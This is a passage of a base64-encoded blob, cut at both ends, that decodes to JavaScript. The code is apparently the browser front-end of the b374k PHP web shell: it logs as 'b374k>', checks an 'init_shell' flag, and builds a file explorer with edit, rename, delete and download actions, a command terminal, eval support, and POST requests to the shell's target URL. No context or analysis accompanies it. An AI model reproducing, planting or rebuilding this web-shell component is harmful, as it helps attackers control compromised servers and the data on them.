zZXtpZihhLmZvckVhY2ggaW5zdGFuY2VvZiBGdW5jdGlvbil7YS5mb3JFYWNoKGIsdm9pZCAwKTtyZXR1cm59InN0cmluZyI9PXR5cGVvZiBhP2M9U3RyaW5nOiJudW1iZXIiPT10eXBlb2YgYS5sZW5ndGgmJihjPUFycmF5KX1jLmZvckVhY2goYSxiLHZvaWQgMCl9fTsKCnZhciBsb2FkaW5nX2NvdW50ID0gMDsKdmFyIHJ1bm5pbmcgPSBmYWxzZTsKdmFyIGRlZmF1bHRUYWIgPSAnZXhwbG9yZXInOwp2YXIgY3VycmVudFRhYiA9ICQoJyMnK2RlZmF1bHRUYWIpOwp2YXIgdGFiU2Nyb2xsID0gbmV3IE9iamVjdDsKdmFyIG9uRHJhZyA9IGZhbHNlOwp2YXIgb25TY3JvbGwgPSBmYWxzZTsKdmFyIHNjcm9sbERlbHRhID0gMTsKdmFyIHNjcm9sbENvdW50ZXIgPSAwOwp2YXIgc2Nyb2xsU3BlZWQgPSA2MDsKdmFyIHNjcm9sbFRpbWVyID0gJyc7CnZhciBkcmFnWCA9ICcnOwp2YXIgZHJhZ1kgPSAnJzsKdmFyIGRyYWdEZWx0YVggPSAnJzsKdmFyIGRyYWdEZWx0YVkgPSAnJzsKdmFyIGVkaXRTdWNjZXNzID0gJyc7CnZhciB0ZXJtaW5hbEhpc3RvcnkgPSBuZXcgQXJyYXkoKTsKdmFyIHRlcm1pbmFsSGlzdG9yeVBvcyA9IDA7CnZhciBldmFsU3VwcG9ydGVkID0gIiI7CnZhciBldmFsUmVhZHkgPSBmYWxzZTsKdmFyIHJlc2l6ZVRpbWVyID0gJyc7CnZhciBwb3J0YWJsZVdpZHRoID0gNzAwOwp2YXIgcG9ydGFibGVNb2RlID0gbnVsbDsKClplcHRvKGZ1bmN0aW9uKCQpewoJaWYoaW5pdF9zaGVsbCl7CgkJdmFyIG5vdyA9IG5ldyBEYXRlKCk7CgkJb3V0cHV0KCJzdGFydGVkIEAgIisgbm93LnRvR01UU3RyaW5nKCkpOwoJCW91dHB1dCgiY3dkIDogIitnZXRfY3dkKCkpOwoJCW91dHB1dCgibW9kdWxlIDogIittb2R1bGVfdG9fbG9hZCk7CgoJCXNob3dfdGFiKCk7CgkJeHBsX2JpbmQoKTsKCQlldmFsX2luaXQoKTsKCQkKCQl3aW5kb3dfcmVzaXplKCk7CgkJCgkJeHBsX3VwZGF0ZV9zdGF0dXMoKTsKCQkKCQkkKHdpbmRvdykub24oJ3Jlc2l6ZScsIGZ1bmN0aW9uKGUpewoJCQljbGVhclRpbWVvdXQocmVzaXplVGltZXIpOwoJCQlyZXNpemVUaW1lciA9IHNldFRpbWVvdXQoIndpbmRvd19yZXNpemUoKSIsIDEwMDApOwoJCX0pOwoKCQkkKCcubWVudWl0ZW0nKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQkJc2VsZWN0ZWRUYWIgPSAkKHRoaXMpLmF0dHIoJ2hyZWYnKS5zdWJzdHIoMik7CgkJCXNob3dfdGFiKHNlbGVjdGVkVGFiKTsKCQl9KTsKCgkJJCgnI2xvZ291dCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCQl2YXIgY29va2llID0gZG9jdW1lbnQuY29va2llLnNwbGl0KCc7Jyk7CgkJCWZvcih2YXIgaT0wOyBpPGNvb2tpZS5sZW5ndGg7IGkrKyl7CgkJCQl2YXIgZW50cmllcyA9IGNvb2tpZVtpXSwgZW50cnkgPSBlbnRyaWVzLnNwbGl0KCI9IiksIG5hbWUgPSBlbnRyeVswXTsKCQkJCWRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPScnOyBleHBpcmVzPVRodSwgMDEgSmFuIDE5NzAgMDA6MDA6MDEgR01UOyBwYXRoPS8iOwoJCQl9CgkJCWxvY2FsU3RvcmFnZS5jbGVhcigpOwoJCQlsb2NhdGlvbi5ocmVmID0gdGFyZ2V0dXJsOwoJCX0pOwoKCQkkKCcjdG90b3AnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQkJJCh3aW5kb3cpLnNjcm9sbFRvcCgwKTsKCQl9KTsKCQkkKCcjdG90b3AnKS5vbignbW91c2VvdmVyJywgZnVuY3Rpb24oZSl7CgkJCW9uU2Nyb2xsID0gdHJ1ZTsKCQkJY2xlYXJUaW1lb3V0KHNjcm9sbFRpbWVyKTsKCQkJc3RhcnRfc2Nyb2xsKCd0b3AnKTsKCQl9KTsKCQkkKCcjdG90b3AnKS5vbignbW91c2VvdXQnLCBmdW5jdGlvbihlKXsKCQkJb25TY3JvbGwgPSBmYWxzZTsKCQkJc2Nyb2xsQ291bnRlciA9IDA7CgkJfSk7CgkJJCgnI3RvYm90dG9tJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJCSQod2luZG93KS5zY3JvbGxUb3AoJChkb2N1bWVudCkuaGVpZ2h0KCktJCh3aW5kb3cpLmhlaWdodCgpKTsKCQl9KTsKCQkkKCcjdG9ib3R0b20nKS5vbignbW91c2VvdmVyJywgZnVuY3Rpb24oZSl7CgkJCW9uU2Nyb2xsID0gdHJ1ZTsKCQkJY2xlYXJUaW1lb3V0KHNjcm9sbFRpbWVyKTsKCQkJc3RhcnRfc2Nyb2xsKCdib3R0b20nKTsKCQl9KTsKCQkkKCcjdG9ib3R0b20nKS5vbignbW91c2VvdXQnLCBmdW5jdGlvbihlKXsKCQkJb25TY3JvbGwgPSBmYWxzZTsKCQkJc2Nyb2xsQ291bnRlciA9IDA7CgkJfSk7CgkJJCgnI2Jhc2ljSW5mbycpLm9uKCdtb3VzZWVudGVyJywgZnVuY3Rpb24oZSl7CgkJCSQoJyN0b2dnbGVCYXNpY0luZm8nKS5zaG93KCk7CgkJfSk7CgkJJCgnI2Jhc2ljSW5mbycpLm9uKCdtb3VzZWxlYXZlJywgZnVuY3Rpb24oZSl7CgkJCSQoJyN0b2dnbGVCYXNpY0luZm8nKS5oaWRlKCk7CgkJfSk7CgkJJCgnI3RvZ2dsZUJhc2ljSW5mbycpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCQkkKCcjYmFzaWNJbmZvJykuaGlkZSgpOwoJCQkkKCcjc2hvd2luZm8nKS5zaG93KCk7CgkJCSQoJyN0b2dnbGVCYXNpY0luZm8nKS5oaWRlKCk7CgkJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdpbmZvQmFyU2hvd24nLCAnaGlkZGVuJyk7CgkJfSk7CgkJJCgnI3Nob3dpbmZvJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJCSQoJyNiYXNpY0luZm8nKS5zaG93KCk7CgkJCSQoJyNzaG93aW5mbycpLmhpZGUoKTsKCQkJbG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2luZm9CYXJTaG93bicsICdzaG93bicpOwoJCX0pOwoJCQoJCWlmKChpbmZvQmFyU2hvd24gPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnaW5mb0JhclNob3duJykpKXsKCQkJaWYoaW5mb0JhclNob3duPT0nc2hvd24nKXsKCQkJCSQoJyNiYXNpY0luZm8nKS5zaG93KCk7CgkJCQkkKCcjc2hvd2luZm8nKS5oaWRlKCk7CgkJCX0KCQkJZWxzZXsKCQkJCSQoJyNiYXNpY0luZm8nKS5oaWRlKCk7CgkJCQkkKCcjc2hvd2luZm8nKS5zaG93KCk7CgkJCQkkKCcjdG9nZ2xlQmFzaWNJbmZvJykuaGlkZSgpOwoJCQl9CgkJfQoJCWVsc2V7CgkJCWluZm9fcmVmcmVzaCgpOwoJCX0KCgkJaWYoaGlzdG9yeS5wdXNoU3RhdGUpewoJCQl3aW5kb3cub25wb3BzdGF0ZSA9IGZ1bmN0aW9uKGV2ZW50KSB7IHJlZnJlc2hfdGFiKCk7IH07CgkJfQoJCWVsc2V7CgkJCXdpbmRvdy5oaXN0b3J5RXZlbnQgPSBmdW5jdGlvbihldmVudCkgewlyZWZyZXNoX3RhYigpOyB9OwoJCX0KCX0KfSk7CgpmdW5jdGlvbiBvdXRwdXQoc3RyKXsKCWNvbnNvbGUubG9nKCdiMzc0az4gJytzdHIpOwp9CgpmdW5jdGlvbiB3aW5kb3dfcmVzaXplKCl7Cglib2R5V2lkdGggPSAkKCdib2R5Jykud2lkdGgoKTsKCWlmKGJvZHlXaWR0aDw9cG9ydGFibGVXaWR0aCl7CgkJbGF5b3V0X3BvcnRhYmxlKCk7Cgl9CgllbHNlewoJCWxheW91dF9ub3JtYWwoKTsKCX0KfQoKZnVuY3Rpb24gbGF5b3V0X3BvcnRhYmxlKCl7CgluYXYgPSAkKCcjbmF2Jyk7CgltZW51ID0gJCgnI21lbnUnKTsKCWhlYWRlck5hdiA9ICQoJyNoZWFkZXJOYXYnKTsKCWNvbnRlbnQgPSAkKCcjY29udGVudCcpOwoKCS8vbmF2LmhpZGUoKTsKCW5hdi5wcmVwZW5kVG8oJyNjb250ZW50Jyk7CgluYXYuY3NzKCdwYWRkaW5nJywnNXB4IDhweCcpOwoJbmF2LmNzcygnbWFyZ2luLXRvcCcsICc4cHgnKTsKCW5hdi5jc3MoJ2Rpc3BsYXknLCdibG9jaycpOwoJbmF2LmFkZENsYXNzKCdib3JkZXInKTsKCQoJbWVudS5jaGlsZHJlbigpLmNzcygnd2lkdGgnLCAnMTAwJScpOwoJbWVudS5oaWRlKCk7CgkkKCcjbWVudUJ1dHRvbicpLnJlbW92ZSgpOwkKCWhlYWRlck5hdi5wcmVwZW5kKCI8ZGl2IGlkPSdtZW51QnV0dG9uJyBjbGFzcz0nYm94dGl0bGUnIG9uY2xpY2s9XCIkKCcjbWVudScpLnRvZ2dsZSgpO1wiIHN0eWxlPSdmbG9hdC1sZWZ0O2Rpc3BsYXk6aW5saW5lO3BhZGRpbmc6NHB4IDhweDttYXJnaW4tcmlnaHQ6OHB4Oyc+bWVudTwvZGl2PiIpOwoJbWVudS5hdHRyKCdvbmNsaWNrJywgIlwkKCcjbWVudScpLmhpZGUoKTsiKTsKCQoJJCgnI3hwbFRhYmxlIHRyPjpudGgtY2hpbGQoNCknKS5oaWRlKCk7CgkkKCcjeHBsVGFibGUgdHI+Om50aC1jaGlsZCg1KScpLmhpZGUoKTsKCWlmKCF3aW4pewoJCSQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDYpJykuaGlkZSgpOwoJfQoJCgl0Ymxmb290ID0gJCgnI3hwbFRhYmxlIHRmb290IHRkOmxhc3QtY2hpbGQnKTsKCWlmKHRibGZvb3RbMF0pIHRibGZvb3RbMF0uY29sU3BhbiA9IDE7CglpZih0Ymxmb290WzFdKSB0Ymxmb290WzFdLmNvbFNwYW4gPSAyOwoJCgkKCSQoJy5ib3gnKS5jc3MoJ3dpZHRoJywgJzEwMCUnKTsKCSQoJy5ib3gnKS5jc3MoJ2hlaWdodCcsICcxMDAlJyk7CgkkKCcuYm94JykuY3NzKCdsZWZ0JywgJzBweCcpOwoJJCgnLmJveCcpLmNzcygndG9wJywgJzBweCcpOwoJCQoJcGFkZGluZ1RvcCA9ICQoJyNoZWFkZXInKS5oZWlnaHQoKTsKCWNvbnRlbnQuY3NzKCdwYWRkaW5nLXRvcCcsIHBhZGRpbmdUb3ArJ3B4Jyk7CgkKCXBvcnRhYmxlTW9kZSA9IHRydWU7Cn0KCmZ1bmN0aW9uIGxheW91dF9ub3JtYWwoKXsJCgluYXYgPSAkKCcjbmF2Jyk7CgltZW51ID0gJCgnI21lbnUnKTsJCgljb250ZW50ID0gJCgnI2NvbnRlbnQnKTsKCgluYXYuaW5zZXJ0QWZ0ZXIoJyNiMzc0aycpOwoJbmF2LmNzcygncGFkZGluZycsJzAnKTsKCW5hdi5jc3MoJ21hcmdpbi10b3AnLCAnMCcpOwoJbmF2LmNzcygnZGlzcGxheScsJ2lubGluZScpOwoJbmF2LnJlbW92ZUNsYXNzKCdib3JkZXInKTsKCQoJbWVudS5jaGlsZHJlbigpLmNzcygnd2lkdGgnLCAnYXV0bycpOwoJbWVudS5zaG93KCk7CgkkKCcjbWVudUJ1dHRvbicpLnJlbW92ZSgpOwoJbWVudS5hdHRyKCdvbmNsaWNrJywgIiIpOwoJCgkkKCcjeHBsVGFibGUgdHI+Om50aC1jaGlsZCg0KScpLnNob3coKTsKCSQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDUpJykuc2hvdygpOwoJaWYoIXdpbil7CgkJJCgnI3hwbFRhYmxlIHRyPjpudGgtY2hpbGQoNiknKS5zaG93KCk7CgkJY29sc3BhbiA9IDQ7Cgl9CgllbHNlIGNvbHNwYW4gPSAzOwoJCgl0Ymxmb290ID0gJCgnI3hwbFRhYmxlIHRmb290IHRkOmxhc3QtY2hpbGQnKTsKCWlmKHRibGZvb3RbMF0pIHRibGZvb3RbMF0uY29sU3BhbiA9IGNvbHNwYW47CglpZih0Ymxmb290WzFdKSB0Ymxmb290WzFdLmNvbFNwYW4gPSBjb2xzcGFuKzE7CgoJcGFkZGluZ1RvcCA9ICQoJyNoZWFkZXInKS5oZWlnaHQoKTsKCWNvbnRlbnQuY3NzKCdwYWRkaW5nLXRvcCcsIHBhZGRpbmdUb3ArJ3B4Jyk7CgkKCXBvcnRhYmxlTW9kZSA9IGZhbHNlOwp9CgpmdW5jdGlvbiBzdGFydF9zY3JvbGwoc3RyKXsKCWlmKHN0cj09J3RvcCcpewoJCXRvID0gJCh3aW5kb3cpLnNjcm9sbFRvcCgpIC0gc2Nyb2xsQ291bnRlcjsKCQlzY3JvbGxDb3VudGVyID0gc2Nyb2xsRGVsdGEgKyBzY3JvbGxDb3VudGVyOwoJCWlmKHRvPD0wKXsKCQkJdG8gPSAwOwoJCQlvblNjcm9sbCA9IGZhbHNlOwoJCX0KCQllbHNlIGlmKG9uU2Nyb2xsKXsKCQkJc2Nyb2xsVGltZXIgPSBzZXRUaW1lb3V0KCJzdGFydF9zY3JvbGwoJ3RvcCcpIiwgc2Nyb2xsU3BlZWQpOwoJCQkkKHdpbmRvdykuc2Nyb2xsVG9wKHRvKTsKCQl9Cgl9CgllbHNlIGlmKHN0cj09J2JvdHRvbScpewoJCXRvID0gJCh3aW5kb3cpLnNjcm9sbFRvcCgpICsgc2Nyb2xsQ291bnRlcjsKCQlzY3JvbGxDb3VudGVyID0gc2Nyb2xsRGVsdGEgKyBzY3JvbGxDb3VudGVyOwoJCWJvdHRvbSA9ICQoZG9jdW1lbnQpLmhlaWdodCgpLSQod2luZG93KS5oZWlnaHQoKTsKCQlpZih0bz49Ym90dG9tKXsKCQkJdG8gPSBib3R0b207CgkJCW9uU2Nyb2xsID0gZmFsc2U7CgkJfQoJCWVsc2UgaWYob25TY3JvbGwpewoJCQlzY3JvbGxUaW1lciA9IHNldFRpbWVvdXQoInN0YXJ0X3Njcm9sbCgnYm90dG9tJykiLCBzY3JvbGxTcGVlZCk7CgkJCSQod2luZG93KS5zY3JvbGxUb3AodG8pOwoJCX0KCX0KfQoKZnVuY3Rpb24gZ2V0X2N3ZCgpewoJcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChnZXRfY29va2llKCdjd2QnKSk7Cn0KCmZ1bmN0aW9uIGZpeF90YWJjaGFyKGVsLCBlKXsKCWlmKGUua2V5Q29kZT09OSl7CgkJZS5wcmV2ZW50RGVmYXVsdCgpOwoJCXZhciBzID0gZWwuc2VsZWN0aW9uU3RhcnQ7CgkJZWwudmFsdWUgPSBlbC52YWx1ZS5zdWJzdHJpbmcoMCxlbC5zZWxlY3Rpb25TdGFydCkgKyAiXHQiICsgZWwudmFsdWUuc3Vic3RyaW5nKGVsLnNlbGVjdGlvbkVuZCk7CgkJZWwuc2VsZWN0aW9uRW5kID0gcysxOwoJfQp9CgpmdW5jdGlvbiBnZXRfY29va2llKGtleSl7Cgl2YXIgcmVzOwoJcmV0dXJuIChyZXMgPSBuZXcgUmVnRXhwKCcoPzpefDsgKScgKyBlbmNvZGVVUklDb21wb25lbnQoa2V5KSArICc9KFteO10qKScpLmV4ZWMoZG9jdW1lbnQuY29va2llKSkgPyAocmVzWzFdKSA6IG51bGw7Cn0KCmZ1bmN0aW9uIHNldF9jb29raWUoa2V5LCB2YWx1ZSl7Cglkb2N1bWVudC5jb29raWUgPSBrZXkgKyAnPScgKyBlbmNvZGVVUklDb21wb25lbnQodmFsdWUpOwp9CgpmdW5jdGlvbiBodG1sX3NhZmUoc3RyKXsKCWlmKHR5cGVvZihzdHIpID09ICJzdHJpbmciKXsKCQlzdHIgPSBzdHIucmVwbGFjZSgvJi9nLCAiJmFtcDsiKTsKCQlzdHIgPSBzdHIucmVwbGFjZSgvIi9nLCAiJnF1b3Q7Iik7CgkJc3RyID0gc3RyLnJlcGxhY2UoLycvZywgIiYjMDM5OyIpOwoJCXN0ciA9IHN0ci5yZXBsYWNlKC88L2csICImbHQ7Iik7CgkJc3RyID0gc3RyLnJlcGxhY2UoLz4vZywgIiZndDsiKTsKCX0KCXJldHVybiBzdHI7Cn0KCmZ1bmN0aW9uIHVjZmlyc3Qoc3RyKXsKCXJldHVybiBzdHIuY2hhckF0KDApLnRvVXBwZXJDYXNlKCkgKyBzdHIuc2xpY2UoMSk7Cn0KCmZ1bmN0aW9uIHRpbWUoKXsKCXZhciBkID0gbmV3IERhdGUoKTsKCXJldHVybiBkLmdldFRpbWUoKTsKfQoKZnVuY3Rpb24gc2VuZF9wb3N0KHRhcmdldGRhdGEsIGNhbGxiYWNrLCBsb2FkaW5nKXsKCWlmKGxvYWRpbmc9PW51bGwpIGxvYWRpbmdfc3RhcnQoKTsKCSQuYWpheCh7CgkJdXJsOiB0YXJnZXR1cmwsCgkJdHlwZTogJ1BPU1QnLAoJCWRhdGE6IHRhcmdldGRhdGEsCgkJc3VjY2VzczogZnVuY3Rpb24ocmVzKXsKCQkJY2FsbGJhY2socmVzKTsKCQkJaWYobG9hZGluZz09bnVsbCkgbG9hZGluZ19zdG9wKCk7CgkJfSwKCQllcnJvcjogZnVuY3Rpb24oKXsgaWYobG9hZGluZz09bnVsbCkgbG9hZGluZ19zdG9wKCk7IH0KCX0pOwp9CgpmdW5jdGlvbiBsb2FkaW5nX3N0YXJ0KCl7CglpZighcnVubmluZyl7CgkJJCgnI292ZXJsYXknKS5zaG93KCk7CgkJcnVubmluZyA9IHRydWU7CgkJbG9hZGluZ19sb29wKCk7Cgl9Cn0KCmZ1bmN0aW9uIGxvYWRpbmdfbG9vcCgpewoJaWYocnVubmluZyl7CgkJaW1nID0gJCgnI2xvYWRpbmcnKTsKCQlpbWcuY3NzKCd0cmFuc2Zvcm0nLCAncm90YXRlKCcrbG9hZGluZ19jb3VudCsnZGVnKScpOwoJCWltZy5jc3MoJy1tcy10cmFuc2Zvcm0nLCAncm90YXRlKCcrbG9hZGluZ19jb3VudCsnZGVnKScpOwoJCWltZy5jc3MoJy13ZWJraXQtdHJhbnNmb3JtJywgJ3JvdGF0ZSgnK2xvYWRpbmdfY291bnQrJ2RlZyknKTsKCgkJbG9hZGluZ19jb3VudCs9NzsKCQlpZihsb2FkaW5nX2NvdW50PjM2MCkgbG9hZGluZ19jb3VudCA9IDA7CgkJaWYocnVubmluZykgc2V0VGltZW91dCgibG9hZGluZ19sb29wKCkiLDIwKTsKCX0KfQoKZnVuY3Rpb24gbG9hZGluZ19zdG9wKCl7CglpZihydW5uaW5nKXsKCQlpbWcgPSAkKCcjbG9hZGluZycpOwoJCWltZy5jc3MoJ3RyYW5zZm9ybScsICdyb3RhdGUoMGRlZyknKTsKCQlpbWcuY3NzKCctbXMtdHJhbnNmb3JtJywgJ3JvdGF0ZSgwZGVnKScpOwoJCWltZy5jc3MoJy13ZWJraXQtdHJhbnNmb3JtJywgJ3JvdGF0ZSgwZGVnKScpOwoKCQkkKCcjb3ZlcmxheScpLmhpZGUoKTsKCQlydW5uaW5nID0gZmFsc2U7Cgl9Cn0KCmZ1bmN0aW9uIHNob3dfdGFiKGlkKXsKCWlmKCFpZCl7CgkJaWYobG9jYXRpb24uaGFzaCE9JycpIGlkID0gbG9jYXRpb24uaGFzaC5zdWJzdHIoMik7CgkJZWxzZSBpZCA9IGRlZmF1bHRUYWI7Cgl9CglyZWZyZXNoX3RhYihpZCk7Cn0KCmZ1bmN0aW9uIHJlZnJlc2hfdGFiKGlkKXsKCWlmKCFpZCl7CgkJaWYobG9jYXRpb24uaGFzaCE9JycpIGlkID0gbG9jYXRpb24uaGFzaC5zdWJzdHIoMik7CgkJZWxzZSBpZCA9IGRlZmF1bHRUYWI7Cgl9CgkkKCcubWVudWl0ZW1TZWxlY3RlZCcpLnJlbW92ZUNsYXNzKCJtZW51aXRlbVNlbGVjdGVkIik7CgkkKCcjbWVudScraWQpLmFkZENsYXNzKCJtZW51aXRlbVNlbGVjdGVkIik7CgoJdGFiU2Nyb2xsW2N1cnJlbnRUYWIuYXR0cignaWQnKV0gPSAkKHdpbmRvdykuc2Nyb2xsVG9wKCk7CgljdXJyZW50VGFiLmhpZGUoKTsKCWN1cnJlbnRUYWIgPSAkKCcjJytpZCk7CgljdXJyZW50VGFiLnNob3coKTsKCXdpbmRvd1tpZF0oKTsKCWlmKHRhYlNjcm9sbFtpZF0pewoJCSQod2luZG93KS5zY3JvbGxUb3AodGFiU2Nyb2xsW2lkXSk7Cgl9CgloaWRlX2JveCgpOwp9CgpmdW5jdGlvbiB0cmFwX2VudGVyKGUsIGNhbGxiYWNrKXsKCWlmKGUua2V5Q29kZT09MTMpewoJCWlmKGNhbGxiYWNrIT1udWxsKSB3aW5kb3dbY2FsbGJhY2tdKCk7Cgl9Cn0KCmZ1bmN0aW9uIHNob3dfYm94KHRpdGxlLCBjb250ZW50KXsKCW9uRHJhZyA9IGZhbHNlOwoJaGlkZV9ib3goKTsKCWJveCA9ICI8ZGl2IGNsYXNzPSdib3gnPjxwIGNsYXNzPSdib3h0aXRsZSc+Iit0aXRsZSsiPHNwYW4gY2xhc3M9J2JveGNsb3NlIGZsb2F0UmlnaHQnPng8L3NwYW4+PC9wPjxkaXYgY2xhc3M9J2JveGNvbnRlbnQnPiIrY29udGVudCsiPC9kaXY+PGRpdiBjbGFzcz0nYm94cmVzdWx0Jz48L2Rpdj48L2Rpdj4iOwoJJCgnI2NvbnRlbnQnKS5hcHBlbmQoYm94KTsKCglib3hfd2lkdGggPSAkKCcuYm94Jykud2lkdGgoKTsKCWJvZHlfd2lkdGggPSAkKCdib2R5Jykud2lkdGgoKTsKCglib3hfaGVpZ2h0ID0gJCgnLmJveCcpLmhlaWdodCgpOwoJYm9keV9oZWlnaHQgPSAkKCdib2R5JykuaGVpZ2h0KCk7CgoJeCA9IChib2R5X3dpZHRoIC0gYm94X3dpZHRoKS8yOwoJeSA9IChib2R5X2hlaWdodCAtIGJveF9oZWlnaHQpLzI7CglpZih4PDAgfHwgcG9ydGFibGVNb2RlKSB4ID0gMDsKCWlmKHk8MCB8fCBwb3J0YWJsZU1vZGUpIHkgPSAwOwoJaWYocG9ydGFibGVNb2RlKXsKCQkkKCcuYm94JykuY3NzKCd3aWR0aCcsICcxMDAlJyk7CgkJJCgnLmJveCcpLmNzcygnaGVpZ2h0JywgJzEwMCUnKTsJCgl9CgoJJCgnLmJveCcpLmNzcygnbGVmdCcsIHgrJ3B4Jyk7CgkkKCcuYm94JykuY3NzKCd0b3AnLCB5KydweCcpOwoKCSQoJy5ib3hjbG9zZScpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCWhpZGVfYm94KCk7Cgl9KTsKCQoJaWYoIXBvcnRhYmxlTW9kZSl7CgkJJCgnLmJveHRpdGxlJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJCWlmKCFvbkRyYWcpewoJCQkJZHJhZ0RlbHRhWCA9IGUucGFnZVggLSBwYXJzZUludCgkKCcuYm94JykuY3NzKCdsZWZ0JykpOwoJCQkJZHJhZ0RlbHRhWSA9IGUucGFnZVkgLSBwYXJzZUludCgkKCcuYm94JykuY3NzKCd0b3AnKSk7CgkJCQlkcmFnX3N0YXJ0KCk7CgkJCX0KCQkJZWxzZSBkcmFnX3N0b3AoKTsKCQl9KTsKCX0KCgkkKGRvY3VtZW50KS5vZmYoJ2tleXVwJyk7CgkkKGRvY3VtZW50KS5vbigna2V5dXAnLCBmdW5jdGlvbihlKXsKCQlpZihlLmtleUNvZGUgPT0gMjcpIGhpZGVfYm94KCk7Cgl9KTsKCglpZigkKCcuYm94IGlucHV0JylbMF0pICQoJy5ib3ggaW5wdXQnKVswXS5mb2N1cygpOwp9CgpmdW5jdGlvbiBoaWRlX2JveCgpewoJJChkb2N1bWVudCkub2ZmKCdrZXl1cCcpOwoJJCgnLmJveCcpLnJlbW92ZSgpOwp9CgpmdW5jdGlvbiBkcmFnX3N0YXJ0KCl7CglpZighb25EcmFnKXsKCQlvbkRyYWcgPSB0cnVlOwoJCSQoJ2JvZHknKS5vZmYoJ21vdXNlbW92ZScpOwoJCSQoJ2JvZHknKS5vbignbW91c2Vtb3ZlJywgZnVuY3Rpb24oZSl7CgkJCWRyYWdYID0gZS5wYWdlWDsKCQkJZHJhZ1kgPSBlLnBhZ2VZOwoJCX0pOwoJCXNldFRpbWVvdXQoJ2RyYWdfbG9vcCgpJyw1MCk7Cgl9Cn0KCmZ1bmN0aW9uIGRyYWdfbG9vcCgpewoJaWYob25EcmFnKXsKCQl4ID0gZHJhZ1ggLSBkcmFnRGVsdGFYOwoJCXkgPSBkcmFnWSAtIGRyYWdEZWx0YVk7CgkJaWYoeTwwKXk9MDsKCQkkKCcuYm94JykuY3NzKCdsZWZ0JywgeCsncHgnKTsKCQkkKCcuYm94JykuY3NzKCd0b3AnLCB5KydweCcpOwoJCXNldFRpbWVvdXQoJ2RyYWdfbG9vcCgpJyw1MCk7Cgl9Cn0KCmZ1bmN0aW9uIGRyYWdfc3RvcCgpewoJb25EcmFnID0gZmFsc2U7CgkkKCdib2R5Jykub2ZmKCdtb3VzZW1vdmUnKTsKfQoKZnVuY3Rpb24gZ2V0X2FsbF9jYm94X3NlbGVjdGVkKGlkLCBjYWxsYmFjayl7Cgl2YXIgYnVmZmVyID0gbmV3IEFycmF5KCk7CgkkKCcjJytpZCkuZmluZCgnLmNCb3hTZWxlY3RlZCcpLm5vdCgnLmNCb3hBbGwnKS5lYWNoKGZ1bmN0aW9uKGkpewoJCWlmKChocmVmID0gd2luZG93W2NhbGxiYWNrXSgkKHRoaXMpKSkpewoJCQlidWZmZXJbaV0gPSBocmVmOwoJCX0KCX0pOwoJcmV0dXJuIGJ1ZmZlcjsKfQoKCmZ1bmN0aW9uIGNib3hfYmluZChpZCwgY2FsbGJhY2spewoJJCgnIycraWQpLmZpbmQoJy5jQm94Jykub2ZmKCdjbGljaycpOwoJJCgnIycraWQpLmZpbmQoJy5jQm94QWxsJykub2ZmKCdjbGljaycpOwoKCSQoJyMnK2lkKS5maW5kKCcuY0JveCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCWlmKCQodGhpcykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpKXsKCQkJJCh0aGlzKS5yZW1vdmVDbGFzcygnY0JveFNlbGVjdGVkJyk7CgkJfQoJCWVsc2UgJCh0aGlzKS5hZGRDbGFzcygnY0JveFNlbGVjdGVkJyk7CgkJaWYoY2FsbGJhY2shPW51bGwpIHdpbmRvd1tjYWxsYmFja10oKTsKCX0pOwoJJCgnIycraWQpLmZpbmQoJy5jQm94QWxsJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJaWYoJCh0aGlzKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykpewoJCQkkKCcjJytpZCkuZmluZCgnLmNCb3gnKS5yZW1vdmVDbGFzcygnY0JveFNlbGVjdGVkJyk7CgkJCSQoJyMnK2lkKS5maW5kKCcuY0JveEFsbCcpLnJlbW92ZUNsYXNzKCdjQm94U2VsZWN0ZWQnKTsKCQl9CgkJZWxzZXsKCQkJJCgnIycraWQpLmZpbmQoJy5jQm94Jykubm90KCcuY0JveEV4Y2VwdGlvbicpLmFkZENsYXNzKCdjQm94U2VsZWN0ZWQnKTsKCQkJJCgnIycraWQpLmZpbmQoJy5jQm94QWxsJykubm90KCcuY0JveEV4Y2VwdGlvbicpLmFkZENsYXNzKCdjQm94U2VsZWN0ZWQnKTsKCQl9CgkJaWYoY2FsbGJhY2shPW51bGwpIHdpbmRvd1tjYWxsYmFja10oKTsKCX0pOwp9CgoKZnVuY3Rpb24gYWN0aW9uKHBhdGgsIHR5cGUpewoJdGl0bGUgPSAiQWN0aW9uIjsKCWNvbnRlbnQgPSAnJzsKCWlmKHR5cGU9PSdmaWxlJykgY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyIrcGF0aCsiJyBkaXNhYmxlZD48L3RkPjwvdHI+PHRyIGRhdGEtcGF0aD0nIitwYXRoKyInPjx0ZD48c3BhbiBjbGFzcz0nZWRpdCBidXR0b24nPmVkaXQ8L3NwYW4+PHNwYW4gY2xhc3M9J3JlbiBidXR0b24nPnJlbmFtZTwvc3Bhbj48c3BhbiBjbGFzcz0nZGVsIGJ1dHRvbic+ZGVsZXRlPC9zcGFuPjxzcGFuIGNsYXNzPSdkbCBidXR0b24nPmRvd25sb2FkPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CglpZih0eXBlPT0nZGlyJykgY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyIrcGF0aCsiJyBkaXNhYmxlZD48L3RkPjwvdHI+PHRyIGRhdGEtcGF0aD0nIit